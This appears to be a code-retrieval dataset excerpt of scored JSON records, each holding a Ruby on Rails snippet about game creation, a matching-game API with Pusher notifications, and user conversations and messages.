"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aaa74c4708a4a2d017928348e2038666",
"score": "0.5803367",
"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aaa74c4708a4a2d017928348e2038666",
"score": "0.5803367",
"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aaa74c4708a4a2d017928348e2038666",
"score": "0.5803367",
"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aaa74c4708a4a2d017928348e2038666",
"score": "0.5803367",
"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aaa74c4708a4a2d017928348e2038666",
"score": "0.5803367",
"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aaa74c4708a4a2d017928348e2038666",
"score": "0.5803367",
"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aaa74c4708a4a2d017928348e2038666",
"score": "0.5803367",
"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aaa74c4708a4a2d017928348e2038666",
"score": "0.5803367",
"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "95c5cce258d9626955ed4e6787f5e801",
"score": "0.5801675",
"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d0248acb94f146e4c96ecf32c2492801",
"score": "0.57999766",
"text": "def game_params\n params.require(:game).permit(%i[name url short_plot plot])\n end",
"title": ""
},
{
"docid": "d11cd6fc5dcdae6632a232202ad911c4",
"score": "0.5799793",
"text": "def new_game\n\t\t# Verify params\n\t\treturn render :json => {:message => \"API expects the following: playdate_id, playmate_id num_total_cards, theme_id. Optional values: already_playing, game_name. Refer to the API documentation for more info.\"} if params[:authentication_token].nil? || params[:playmate_id].nil? || params[:playdate_id].nil? || params[:num_total_cards].nil? || params[:theme_id].nil?\n\n\t\t# Figure out game name (matching, math)\n\t\tgame_name = 'matching'\n\t\tif !params[:game_name].nil?\n\t\t\tgame_name = params[:game_name]\n\t\tend\n\t\t\n\t\t# Find the playdate\n\t\tplaydate = Playdate.find(params[:playdate_id])\n\t\treturn render :json => {:message => \"Playdate with id: #{params[:playdate_id]} not found.\"} if playdate.nil?\n\n\t\t# Grab the theme_id and validate it (validation is a TODO)\n\t\ttheme_id = params[:theme_id].to_i\n\n\t\t# Create a gamelet\n\t\tgamelet = Gamelet.create(:theme_id => theme_id)\n\n\t\t# Verify num_total_cards\n\t\tnum_total_cards = params[:num_total_cards].to_i\n\t\tif game_name == 'matching'\n\t\t\tnum_total_cards_valid = ((num_total_cards % 2) != 0) || (num_total_cards < 4) || (num_total_cards > 12)\n\t\telsif game_name == 'math'\n\t\t\tnum_total_cards_valid = ((num_total_cards % 2) != 0) || (num_total_cards < 10) || (num_total_cards > 40)\n\t\tend\n\t\treturn render :json => {:message => \"num_total_cards needs to be between 4 and 12 and must be an even number\"} if num_total_cards_valid\n\n\t\t# Find the game players\n\t\tinitiator = current_user\n\t\tplaymate = User.find(params[:playmate_id])\n\t\treturn render :json => {:message => \"Playmate with id: #{params[:playmate_id]} not found.\"} if playmate.nil?\n\n\t\t# Generate new matching board via Gamelet\n\t\tboard_id = gamelet.new_matchinggame_board(initiator.id, playmate.id, playdate.id, num_total_cards)\n\t\tboard = Matchingboard.find(board_id)\n\n\t\t# Collect all the filenames for this board + theme\n\t\tfilename_array = board.get_array_of_card_backside_filenames\n\t\tfilename_dump = JSON.dump(filename_array)\n\n\t\t# Notify via pusher\n\t\tif !params[:already_playing].nil?\n\t\t\t# If already playing, refreshing the game\n\t\t\tPusher[playdate.pusher_channel_name].trigger('games_matching_refresh_game', {\n\t\t\t\t:initiator_id => initiator.id,\n\t\t\t\t:playmate_id => playmate.id,\n\t\t\t\t:board_id => board_id,\n\t\t\t\t:card_array_string => board.card_array_string,\n\t\t\t\t:filename_dump => filename_dump,\n\t\t\t\t:num_cards => num_total_cards,\n\t\t\t\t:game_name => game_name\n\t\t\t})\n \t\trender :json => {\n \t\t\t:message => \"Matchingboard successfully refreshed, playdate id is #{playdate.id.to_s}\",\n \t\t\t:initiator_id => initiator.id,\n\t\t\t\t:playmate_id => playmate.id,\n \t\t\t:board_id => board_id,\n \t\t\t:card_array_string => board.card_array_string,\n \t\t\t:filename_dump => filename_dump,\n \t\t\t:num_cards => num_total_cards,\n \t\t\t:game_name => game_name\n \t\t}\n \telse\n \t\t# If not already playing, new game\n \t\tPusher[playdate.pusher_channel_name].trigger('games_matching_new_game', {\n\t\t\t\t:initiator_id => initiator.id,\n\t\t\t\t:playmate_id => playmate.id,\n\t\t\t\t:board_id => board_id,\n\t\t\t\t:card_array_string => board.card_array_string,\n\t\t\t\t:filename_dump => filename_dump,\n\t\t\t\t:num_cards => num_total_cards,\n\t\t\t\t:game_name => game_name\n \t\t})\n\t\t\trender :json => {:card_array_string => board.card_array_string,\n\t\t\t\t:message => \"Matchingboard successfully initialized, playdate id is #{playdate.id.to_s}\",\n\t\t\t\t:initiator_id => initiator.id,\n\t\t\t\t:playmate_id => playmate.id,\n\t\t\t\t:board_id => board_id,\n\t\t\t\t:card_array_string => board.card_array_string,\n\t\t\t\t:filename_dump => filename_dump,\n\t\t\t\t:num_cards => num_total_cards,\n\t\t\t\t:game_name => game_name\n\t\t\t}\n\t\tend\n\tend",
"title": ""
},
{
"docid": "84dfa7786f570af4e962b338acec87e0",
"score": "0.5797843",
"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, :notice => 'Game was successfully created.' }\n format.json { render :json => @game, :status => :created, :location => @game }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @game.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
0d54a96126a75dca6399fd111572a983 | When we search for conversations we search on the ConversationMember object This should match the updated_at variable for all users, so they are ordered correctly | [
{
"docid": "e5ac36d5cb3cdfb0f07126fe13815fb4",
"score": "0.6353645",
"text": "def update_conversation_members\n conversation_members.each{|a| a.update_attribute(:updated_at, updated_at)}\n end",
"title": ""
}
] | [
{
"docid": "3051476fbabc6e0ebe4e32cdde4b0ecc",
"score": "0.61055183",
"text": "def index\n conversations = Api::V1::Conversation.where('sender_id = ? OR recipient_id = ?', @current_user.id, @current_user.id).order('updated_at DESC').all\n \n paginate json: conversations\n end",
"title": ""
},
{
"docid": "d0d4fdbb13d6c1e301189d909e056639",
"score": "0.60864776",
"text": "def filter_for_updated_members\n return if @request_cache_key.enrollment_period_id != @current_cache_key.enrollment_period_id\n\n @members = @members.where('members.updated_at > ?', Time.zone.at(@request_cache_key.member_last_updated_at))\n .or(@members.where('household_enrollment_records.updated_at > ?', Time.zone.at(@request_cache_key.household_enrollment_record_last_updated_at)))\n end",
"title": ""
},
{
"docid": "c49d1e67f42747fcc8e14663b5621aaa",
"score": "0.6027969",
"text": "def call\n all_private_conversations = Private::Conversation.all_by_user(@user.id)\n .includes(:messages)\n return all_conversations = all_private_conversations.sort{ |a, b| \n b.messages.last.created_at <=> a.messages.last.created_at\n }\n end",
"title": ""
},
{
"docid": "8419e1dc93f70bb17d09be641fec90c9",
"score": "0.6021991",
"text": "def call\n all_private_conversations = Private::Conversation.all_by_user(@user.id).includes(:messages)\n\n return all_conversations = all_private_conversations.sort do |a, b|\n b.messages.last.created_at <=> a.messages.last.created_at\n end\n end",
"title": ""
},
{
"docid": "57a883f9269bb37b1ba9a0091fe368be",
"score": "0.60104716",
"text": "def index\n if params[:search].blank?\n @conversations = current_user.conversations.find(:all, :conditions => ['conversation_memberships.status = 1'], :order => \"conversations.updated_at DESC\")\n else\n @conversations = current_user.conversations.find(:all, :include => :people, :conditions => ['(title LIKE ? OR people.name LIKE ?) AND conversation_memberships.status = 1', \"%#{params[:search]}%\", \"%#{params[:search]}%\"], :order => \"conversations.updated_at DESC\")\n end\n\t\t\n\t\t@conversations = @conversations.paginate :per_page => 10, :page => params[:page]\n\n end",
"title": ""
},
{
"docid": "5eeff9541ce4f20b290b8cc35b4d753a",
"score": "0.5937642",
"text": "def at_replies(params)\n Update.where(:text => /^@#{Regexp.quote(username)}\\b/).order(['created_at', 'descending'])\n end",
"title": ""
},
{
"docid": "91041d732fec9755ef6a8041e964c875",
"score": "0.5919452",
"text": "def fetch\n sort = 'updated_at DESC'\n\n case params[:sort_by]\n when 'recent'\n sort = 'updated_at DESC'\n end\n\n query = '%' + params[:query].downcase + '%'\n\n conversations = paginate ConversationUser.where(user_id: params[:user_id]).includes(:conversation)\n .order('conversations.updated_at desc')\n\n render json: conversations.to_json(:include => :conversation)\n end",
"title": ""
},
{
"docid": "257ae7ec87b889f22028754638521a3b",
"score": "0.5914698",
"text": "def index\n channel = Channel.find_by_name(params[:channel_id])\n channel.touch_user(current_user)\n channel.update_users!\n \n if params[:last_message_id]\n @messages = channel.messages.includes(:user).where(\"id > ?\", params[:last_message_id])\n elsif params[:history]\n # Probably a better way to do this. What I'm trying to do is\n # drop the hour/minute so each search starts from the beginning\n # of a given day\n if params[:from] == \"today\"\n tmp_time = Time.zone.now\n else\n tmp_time = Time.zone.parse(params[:from])\n end\n\n @base_time = Time.zone.parse(\"#{tmp_time.year}-#{tmp_time.month}-#{tmp_time.day} 0:0:0 UTC\")\n params[:until] ||= Time.zone.parse(\"#{tmp_time.year}-#{tmp_time.month}-#{tmp_time.day + 1} 0:0:0 UTC\")\n\n @messages = channel.messages.includes(:user).where(\"created_at > ? and created_at < ?\", @base_time, params[:until])\n else\n @messages = channel.messages.includes(:user).limit(50).order(:created_at).reverse_order\n end\n\n @message_data = []\n @messages.each do |message|\n @message_data.push({\n :id => message.id,\n :user => message.user.name,\n :content => message.escaped_content,\n :posted_at => message.created_at.to_i\n })\n end\n \n respond_to do |format|\n format.html {}\n format.json { render :json => @message_data}\n end\n end",
"title": ""
},
{
"docid": "6170f16b416126ea3c235847059f798a",
"score": "0.58343196",
"text": "def index\n\t@conversations = Conversation.where(\"conversations.user_id_creator = '#{current_user.id}' OR conversations.user_id_recipient = '#{current_user.id}'\").order('id DESC')\n\t@conversations.order('id DESC')\n\t\n end",
"title": ""
},
{
"docid": "7d9ee5ba14751b488ea837b3e79e160e",
"score": "0.57818764",
"text": "def members\n TeamMember.where(:team_id => id).where(:accepted => 1).order('role ASC,accepted_at ASC')\n end",
"title": ""
},
{
"docid": "013e7c63dd7f4910a5bac2f78b96edb5",
"score": "0.576271",
"text": "def index\n @conversations = Conversation.where(\"author_id = ? OR receiver_id = ?\", current_user.id, current_user.id)\n @users = User.where.not(id: current_user.id) \n end",
"title": ""
},
{
"docid": "f5960446028029930b98a2be7cb52e09",
"score": "0.57363844",
"text": "def index\n all_messages = []\n current_user.chats.includes(:messages).each do |chat|\n all_messages << chat.messages.order('created_at ASC').last\n end\n # if \n @chats = all_messages.compact.sort_by{|a| a.created_at }.reverse.map(&:chat)\n \n end",
"title": ""
},
{
"docid": "dc204c9444b3e812e2afe5278d0a8b0e",
"score": "0.5695047",
"text": "def get_replies_to_conversation\n screen_name_of_mentions = self.mentions.map(&:screen_name)\n mentions_as_users = User.where(\"screen_name IN (?)\", self.mentions.map(&:screen_name)) \n Status.where(\"in_reply_to_status_id = ? AND user_id IN (?)\",\n self.tid, mentions_as_users.map(&:id))\n end",
"title": ""
},
{
"docid": "a65b8477c28d7b8c799a573817be57fa",
"score": "0.5680694",
"text": "def index\n # Retrive conversations where the hirer is the current user\n hc = Conversation.where(hirer: current_user)\n # Get conversations where the owner is the current user\n oc = Conversation.where(owner: current_user)\n # Get conversations that involve current user \n @conversations = hc|oc\n end",
"title": ""
},
{
"docid": "cc9a5877bdc23e1dfb0e21551fb32da8",
"score": "0.56633383",
"text": "def get_users\n\n\n filteredRelation = (current_user.following + current_user.followers)\n listOfContacts = (current_user.friends + filteredRelation).uniq.map(&:id)\n\n @users = User.where(id: [listOfContacts]).where.not(id: [current_user.blocks.ids]).where.not(id: [current_user.blockers.ids])\n\n # @users = listOfContacts.sort_by &:updated_at\n @users.each do |user|\n unread_messages_cnt = Message.users_messages(user, current_user).unread_messages.length\n \n if unread_messages_cnt == 0\n user.has_unread_messages = false\n else \n user.has_unread_messages = true\n end \n end\n\n end",
"title": ""
},
{
"docid": "eefe7d48f916e7ab5875226a57264407",
"score": "0.5597414",
"text": "def index\n session[:conversations] ||= []\n \n @users = User.all.where.not(id: current_user)\n @users = User.order(created_at: :desc)\n \n @conversations = Conversation.includes(:recipient, :messages)\n .find(session[:conversations])\n @stalls = Stall.all\n\n end",
"title": ""
},
{
"docid": "a722e5dfcdd394094a437c201a5f7131",
"score": "0.5544106",
"text": "def conversations\n Conversation.where(\"user_1 = ? OR user_2 = ?\", id, id)\n end",
"title": ""
},
{
"docid": "caad5017b99440be690b8c0a4202a875",
"score": "0.55393803",
"text": "def index\n\t\t@all_conversations = @supplier.supplier_account.conversations.sort! {|a,b| b.created_at <=> a.created_at }\n\tend",
"title": ""
},
{
"docid": "74163c542ca8d0a25727b61f2dc12108",
"score": "0.55286276",
"text": "def search_user\n if !params[:type].present?\t \n if params[:uid].present? && params[:uid].strip == 'group' #in case search from chat window\n cm = ConversationMember.where(:conversation_id => Base64.decode64(params[:conv_id].to_s))\n account_ids = cm.map(&:account_id).join(',') #get already members of conversation to avoid to show aleady member \n user =Account.joins(\"LEFT JOIN account_gyms ON accounts.id = account_gyms.account_id\").where(\"accounts.status = 1 AND accounts.id != #{current_user.id} AND accounts.id NOT IN (#{account_ids}) AND accounts.user_type NOT IN (2,3) AND (lower(accounts.first_name) LIKE ? OR lower(accounts.last_name) LIKE ? OR lower(accounts.email) LIKE ? OR lower(accounts.user_name) LIKE ? OR lower(account_gyms.name) LIKE ?)\", \"%#{params[:search]}%\",\"%#{params[:search]}%\",\"%#{params[:search]}%\",\"%#{params[:search]}%\",\"%#{params[:search]}%\") \n else\n uid = params[:uid].present? ? Base64.decode64(params[:uid]) : 0\n user =Account.joins(\"LEFT JOIN account_gyms ON accounts.id = account_gyms.account_id\").where(\"accounts.status = 1 AND accounts.id != #{current_user.id} AND accounts.id != #{uid} AND accounts.user_type NOT IN (2,3) AND (lower(accounts.first_name) LIKE ? OR lower(accounts.last_name) LIKE ? OR lower(accounts.email) LIKE ? OR lower(accounts.user_name) LIKE ? OR lower(account_gyms.name) LIKE ?)\", \"%#{params[:search]}%\",\"%#{params[:search]}%\",\"%#{params[:search]}%\",\"%#{params[:search]}%\",\"%#{params[:search]}%\") \n end \n else\n user =Account.joins(\"LEFT JOIN account_gyms ON accounts.id = account_gyms.account_id\").where(\"accounts.status = 1 AND (lower(accounts.first_name) LIKE ? OR lower(accounts.last_name) LIKE ? OR lower(accounts.email) LIKE ? OR lower(accounts.user_name) LIKE ? OR lower(account_gyms.name) LIKE ?)\", \"%#{params[:search]}%\",\"%#{params[:search]}%\",\"%#{params[:search]}%\",\"%#{params[:search]}%\",\"%#{params[:search]}%\") \n end\n \n if user \n render :json => {user: user } and return\n else\n render :json => {errors: \"No User Found!\"} and return\n end\n end",
"title": ""
},
{
"docid": "4bf2814de6ed131c91c3198a90d7c691",
"score": "0.5521047",
"text": "def user_activity\n activities_as_owner.where(\"owner_id != recipient_id OR recipient_id IS NULL OR owner_id IS NULL\").order(\"created_at DESC\")\n end",
"title": ""
},
{
"docid": "f20891ca62ec66ea98eb31bc38939e4d",
"score": "0.5498646",
"text": "def index\n @board_messages = BoardMessage.includes(:actor).where(reciever_id: @actor).or(BoardMessage.includes(:actor).where(sender_id: @actor)).order( 'updated_at DESC' )\n end",
"title": ""
},
{
"docid": "c07d2696b21cdfc1ceecaa89a31f82a8",
"score": "0.5483571",
"text": "def index\n as1 = Conversation.where(user1: current_user)\n as2 = Conversation.where(user2: current_user)\n @conversations = (as1 | as2)\n end",
"title": ""
},
{
"docid": "f76a3c15c781625c2849907a66e65a4f",
"score": "0.54801106",
"text": "def members\n memberships(:approved_at.not => nil, :order => [:approved_at]).user\n end",
"title": ""
},
{
"docid": "9a74823612eb1660a7cf0c486e5e5006",
"score": "0.54759026",
"text": "def latest_conversations\n @user = current_user\n @scrollLoad = params.has_key?(:scrollLoad)\n @u2cs = @user.user_to_conversations\n .includes(:conversation, :user)\n .order('read ASC, updated_at DESC')\n .paginate(page: params[:page], per_page: 5)\n @user.user_to_conversations.update_all(seen: true)\n respond_to do |format|\n format.js\n end\n end",
"title": ""
},
{
"docid": "00f1a76aa0dea1609fcf1b4814ed452e",
"score": "0.5458642",
"text": "def index\n @conversations = Conversation.includes(:users).where(conversations: {id: current_api_user.conversations.pluck(:\"conversations.id\")}).order('conversations.updated_at desc')\n serializer = Conversations::ConversationSerializer.new(@conversations, {params: {current_api_user: current_api_user}, include: [:users, :messages]})\n render json: serializer.serializable_hash\n end",
"title": ""
},
{
"docid": "09d8cb77abfe52f347ab0055e46cbdfe",
"score": "0.54550683",
"text": "def index\n @conversations = Conversation.where(\"to_id = :current_user_id OR from_id = :current_user_id\", {current_user_id: @current_user.id}).order(updated_at: :desc).joins(:messages).take(10).uniq.as_json\n \n convos = []\n @conversations.each do |convo|\n convos.push(convo[\"id\"])\n end\n\n @conversations_requests = ConversationsRequest.where(conversation_id: convos)\n\n @conversations.each_with_index do |conversation, index|\n @conversations_requests.each do |convo_request|\n if(conversation[\"id\"] == convo_request.conversation_id)\n @conversations[index][\"request_id\"] = convo_request.request_id\n end\n end\n end\n\n render json: @conversations\n end",
"title": ""
},
{
"docid": "b0e16ae776e197e5f1e7fbafded4e738",
"score": "0.5453511",
"text": "def chat_history\n if @conversation\n last_deleted = @conversation.conversation_replies.where({archived_by: params[:user_id].to_s}).order_by(created_at: 'ASC').last\n if last_deleted\n conversation_replies = @conversation.conversation_replies.where({created_at: {'$gt' => last_deleted.created_at}}).order_by(created_at: 'ASC')\n else\n conversation_replies = @conversation.conversation_replies.order_by(created_at: 'ASC')\n end\n render json: {data: conversation_replies.map { |cr| cr.to_listing }}, status: :ok\n else\n render json: {data: []}, status: :ok\n end\n end",
"title": ""
},
{
"docid": "46ee3567f7664c4be4ed19d74aaf01ae",
"score": "0.54515386",
"text": "def recently_updated_matches(limit)\n all_matches.to_a\n .sort { |a, b| b.updated_at <=> a.updated_at }\n .first(limit)\n end",
"title": ""
},
{
"docid": "42b9bb919badb2ff8993ce003cf1b233",
"score": "0.5442014",
"text": "def conversation\n Conversation\n .where(\"creator_id = ? or member_id = ?\", user_id, user_id)\n .order(\"latest_message_id DESC\").first\n end",
"title": ""
},
{
"docid": "1ccb57e6b208f2f355805f55dae81987",
"score": "0.5432582",
"text": "def index\n @conversations = Conversation\n .where(\"user_id = ? OR other_user_id = ?\",\n current_user.id, current_user.id)\n render :index\n end",
"title": ""
},
{
"docid": "d9d06e9ce466a2d85e7103b07a76b3fd",
"score": "0.54193896",
"text": "def index\n @conversations = Conversation.in(id: current_user.participates.pluck(:conversation_id).map(&:to_s)).all.entries\n @conversations = @conversations | current_user.conversations.all.entries\n if params[:id].present?\n @conversation = Conversation.find({id: params[:id]})\n else\n\n id = Message.last.conversation_id\n @conversation = Conversation.find({id: id}) if id.present?\n @conversation = Conversation.last if @conversation.nil?\n end\n @messages = @conversation&.messages\n end",
"title": ""
},
{
"docid": "c17d6277db3283619127930f86ce8185",
"score": "0.5400672",
"text": "def update_chatroom\n last_update = DateTime.parse params[:last_update]\n @messages = Message.where(\"created_at > ?\", last_update)\n if @messages.empty?\n next_update = last_update\n else\n next_update = @messages.last.created_at\n end\n \n @users = User.select(\"nick\").order(\"heartbeat desc\")\n .where(\"heartbeat > ?\", (Time::now - (5 * 60)))\n render json: {messages: @messages, last_update: next_update, users: @users}\n end",
"title": ""
},
{
"docid": "0ae2fc5fe2b83c4e4c8b29d0015edabe",
"score": "0.53893477",
"text": "def index\n @chats = Chat.where(kind: params[:kind], kind_id: params[:kind_id]).where('id > ?', params[:after_id].to_i).order('created_at DESC').includes(:user).reverse\n end",
"title": ""
},
{
"docid": "6909e382c270483dd7e4d62b15fe2fb0",
"score": "0.5382585",
"text": "def index\n @user = current_user\n @messages_from_user = Message.where(from: @user.id)\n @messages_to_user = Message.where(to: @user.id)\n\n @all_messages = []\n\n @messages_from_user.each do |message|\n @all_messages << message\n end\n\n @messages_to_user.each do |message|\n @all_messages << message\n end\n\n @conversations = []\n @all_messages.each do |message|\n @conversations << message.from if message.from != @user.id\n @conversations << message.to if message.to != @user.id\n end\n\n @conversations.uniq!.map!(){ |id| User.find(id) }\n end",
"title": ""
},
{
"docid": "6145f528a2c970ef74b3a97b704bbfc6",
"score": "0.53743386",
"text": "def get_all_user_conversations\n contacts_part_one = Match.where(\"user_liked_id = ?\", self.id).pluck(:user_offered_id)\n contacts_part_two = Match.where(\"user_offered_id = ?\", self.id).pluck(:user_liked_id)\n a = User.find(contacts_part_one)\n b = User.find(contacts_part_two)\n c = a + b\n c\n end",
"title": ""
},
{
"docid": "181b48c48fd69f50994689b2b92308b8",
"score": "0.5365553",
"text": "def see_conversation\n u2c = @conversation.user_to_conversations.where(\"user_id = #{current_user.id}\").first\n u2c.update(read: true, seen: true)\n head :ok\n end",
"title": ""
},
{
"docid": "a8e3d4af6a42b8855ec66acafbee595a",
"score": "0.53646886",
"text": "def index \n name=[:name]\n # @user = User.where(\"name = #{params[:name]} or first_name = #{params[:name]}\")\n @users = User.where([\"name LIKE ? or first_name LIKE ?\", \"#{params[:name]}\", \"#{params[:name]}\"])\n resultat=[]\n resultat_user=[]\n User.all.each do |user|\n if user.conversations\n user.conversations.each do |conv|\n if conv.logement_id == params[:logement_id].to_i && user.name.downcase.include?(params[:name].downcase) || user.first_name.downcase.include?(params[:name].downcase)\n resultat << conv\n resultat_user << user\n end\n \n end\n end\n \n end\n \n if resultat.present?\n \n \n render json:{\n resultat: resultat,\n resultat_user:resultat_user\n }\n else\n render json:{\n resultat:nil\n }\n \n end\n end",
"title": ""
},
{
"docid": "019acdba86b8a9f1248db40ae717be75",
"score": "0.53502977",
"text": "def generate_conversation_statuses\n first_message = self.messages.first\n self.participants.each do |u|\n # Mark as read for user who sent message\n conversation_statuses << ConversationStatus.new(:user => u, :read_at => u.id == first_message.from_id ? Time.now : nil)\n end\n end",
"title": ""
},
{
"docid": "20d2413f3ea4cba42cd8de45bb65e21c",
"score": "0.5346598",
"text": "def index\n messages = @conversation.messages.order('created_at DESC')\n\n messages.each do |m|\n if m.user_id != @current_user.id\n m.read = true;\n m.save\n end\n end\n \n paginate json: messages\n end",
"title": ""
},
{
"docid": "9d154c68b6f47f10f8e355d4325ca92e",
"score": "0.5345683",
"text": "def full_chat_with(user)\n outgoing = sent_messages.includes(:message_recipient)\n .where(message_recipients: { recipient: user })\n incoming = received_messages.select { |m| m.creator_id == user.id }\n (outgoing + incoming).sort_by!(&:created_at)\n end",
"title": ""
},
{
"docid": "7e99adb6d4bf3f2d2e8b13efd98af908",
"score": "0.5343994",
"text": "def index\n if user_signed_in?\n @users = User.where.not(\"id = ?\",current_user.id).order(\"created_at DESC\")\n @conversations = Conversation.involving(current_user)\n end\n # @posts = Post.order('created_at desc').all \n @posts = Post.where(nil).order(\"created_at DESC\") # creates an anonymous scope\n filtering_params(params).each do |key, value|\n @posts = @posts.public_send(key, value) if value.present?\n end\nend",
"title": ""
},
{
"docid": "dda85c51e19339f465e31b8094284b67",
"score": "0.5316657",
"text": "def cache_active_users!\n update_attribute :active_users_cache, conversation_members.where(:active => true).collect{|a| a.user_id}.uniq.compact.sort.join(\",\")\n end",
"title": ""
},
{
"docid": "cdc54af95443b4f078497277740f966e",
"score": "0.5316149",
"text": "def start_watching_conversations(keyword_set)\n keyword_set.shuffle.each { |keywords|\n search_text = keywords.join(\" AND \") + \" filter:replies -RT -#{@myself}\"\n \n # Search\n rate_limit(:start_watching_conversations__search) {\n log search_text, \"searching\"\n search_tweet_count = 0\n @lisa.search(search_text, {:lang => \"en\", :result_type => \"recent\"}) do |tweet|\n max_results_per_search = 0 \n log tweet.text, \"tweet\"\n parent_tweet = find_first_parent_tweet(tweet.id) \n #log parent_tweet.text, \"parent\" if not parent_tweet.nil?\n if not parent_tweet.nil? \\\n and @conversations[parent_tweet.id] == nil \\\n and is_conversation_worth_watching?(tweet, parent_tweet, keywords) == true\n @conversations[parent_tweet.id] = {:parent_tweet => parent_tweet, \n :search_result_tweet => tweet, \n :search_keywords => keywords}\n\n # Collect only those many search results which were asked \n max_results_per_search += 1 \n log \"max_results_per_search hit for #{search_text}\", \"max_results_per_search\" \n break if max_results_per_search >= @config[:max_results_per_search]\n end # if\n\n # Search for only those many results as requested\n search_tweet_count += 1\n break if search_tweet_count >= @config[:max_count_per_search]\n end # search\n } # rate_limit\n\n } # each\n\n deliver_conversations(@conversations)\n return @conversations\n end",
"title": ""
},
{
"docid": "4fa61efe36ae381b5121160603b8a0ec",
"score": "0.531221",
"text": "def show\n @conversations = current_user.conversations.where(:kind=> 'channel')\n @direct_conversations = current_user.conversations.where(:kind=> 'direct')\n @message = Message.new\n @message.attatchments.build\n if(params[:search_user])\n @emails= process_tags(params[:search_user])\n @emails.each do |email|\n user= User.find_by(:email=>email)\n if user && user != current_user\n @conversation.users << user unless @conversation.users.include?(user)\n end\n end\n end\n\n if(params[:user])\n emails= process_tags(params[:user])\n emails.each do |email|\n user= User.find_by(:email=>email)\n if user && user != current_user\n conversations = current_user.conversations.includes(:users).where(users: {id: user.id}, kind: 'direct')\n if conversations.any?\n @direct_message= conversations.first\n else\n @direct_message = Conversation.new(:name=> 'direct', :kind=> 'direct')\n @direct_message.user = current_user\n @direct_message.save\n @direct_message.users << user\n @direct_message.users << current_user\n end\n end\n end\n if(defined?(@direct_message))\n redirect_to(@direct_message)\n end\n end\n end",
"title": ""
},
{
"docid": "8f0d3358ea31d0415a824a0b051f4a80",
"score": "0.53015786",
"text": "def recently_contacted_users\n find_users_of_type \"RECENTLY_CONTACTED_USERS\"\n end",
"title": ""
},
{
"docid": "548406365d164306a24ccf3b9b959201",
"score": "0.52977896",
"text": "def sent\n @messages = current_user.messages.find(:all, :order=>\"created_at DESC\")\n end",
"title": ""
},
{
"docid": "b25b55e848a7811a5af9bdff0b06e7e3",
"score": "0.5281323",
"text": "def index\n @messages = if @user.present?\n Message.recent.by_user(@user)\n else\n signed_in? ? current_user.followed_messages.recent : Message.recent\n end\n end",
"title": ""
},
{
"docid": "79a0e5efc9e3425d0b247a4fbbdaf1e3",
"score": "0.5278058",
"text": "def index\n # Queries Conversations where the sender_id or the receiver_id corresponds with the current user's id. \n @conversations = Conversation.where(\"sender_id = ? OR receiver_id = ?\", current_user.id, current_user.id)\n @users = User.where.not(id: current_user.id) # User can't message themself\n end",
"title": ""
},
{
"docid": "13ffc582fafaf7405c16b39b0fc42b4e",
"score": "0.52750266",
"text": "def index\n # @communities = current_user.communities\n # start change code- kandarp \n if params[:data].present?\n @communities = (current_user.communities.search(params[:data]) + current_user.community_members.search(params[:data])).compact.uniq.sort_by(&:updated_at).reverse\n else\n @communities = (current_user.communities + current_user.community_members).compact.uniq.sort_by(&:updated_at).reverse\n end\n # end change code- kandarp\n # @communities =(current_user.communities + current_user.community_members).compact\n @friends = current_user.my_friends\n @friends = @friends.present? ? @friends : [] \n end",
"title": ""
},
{
"docid": "6a20cb174f7c16183a8b50b799fcf853",
"score": "0.5267107",
